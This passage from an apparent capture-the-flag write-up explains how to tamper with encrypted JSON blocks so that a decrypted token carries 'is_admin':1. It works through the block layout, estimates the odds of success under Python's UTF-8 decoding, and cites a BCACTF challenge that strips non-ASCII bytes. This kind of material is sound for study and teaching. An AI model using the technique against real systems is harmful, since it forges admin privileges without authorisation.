AAAAAAAAAAAAAAAA (Block 3)
AAAAAAAAAAAAAAAA (Block 4)
AAAAAAAAAAAAAAAA (Block 5)
<16-bytegarbage> (Block 6)
<16-bytegarbage> (Block 7)
","is_admin":1} (Block 8)
```
Modify Block 3 so that Block 5 looks like the following:(the content between `username` and `is_admin` is a key-value pair now)
```
0123456789abcdef (Block 1)
{"username":""," (Block 2)
<16-bytegarbage> (Block 3)
<16-bytegarbage> (Block 4)
AAAAAAA":"AAAAAA (Block 5)
<16-bytegarbage> (Block 6)
<16-bytegarbage> (Block 7)
","is_admin":1} (Block 8)
```
However, we can see that there are 64 bytes of garbage. Since Python uses UTF-8 codec as the encoding, UnicodeDecodeError will be thrown if the byte sequence does not make valid UTF-8 characters.
Therefore, we have 64 bytes of garbage, where control characters are invalid, values greater than 127 are only valid if it follows the UTF-8 codec. So approximately the successful rate is about $(\frac{3}{8})^{64} \approx 5 \times 10^{-28}$, which is basically impossible.
Note: possible scenarios where this can be used is when Python is configured to filter out non-ascii characters, or other programming languages are used to parse the JSON content.
Example: [FNES 2.5 from BCACTF](https://github.com/BCACTF/bcactf-2.0/blob/main/fnes-2-5/app.py)
```python=
unpad(cipher.decrypt(ct), 16).decode("ascii", errors='ignore')
```
Non-ascii characters are preremoved, so there are much higher rate to success.
Also, JavaScript's `JSON.parse()` methods also accepts and processes bytes with code value greater than 127.
Sign in with Wallet
Connect another wallet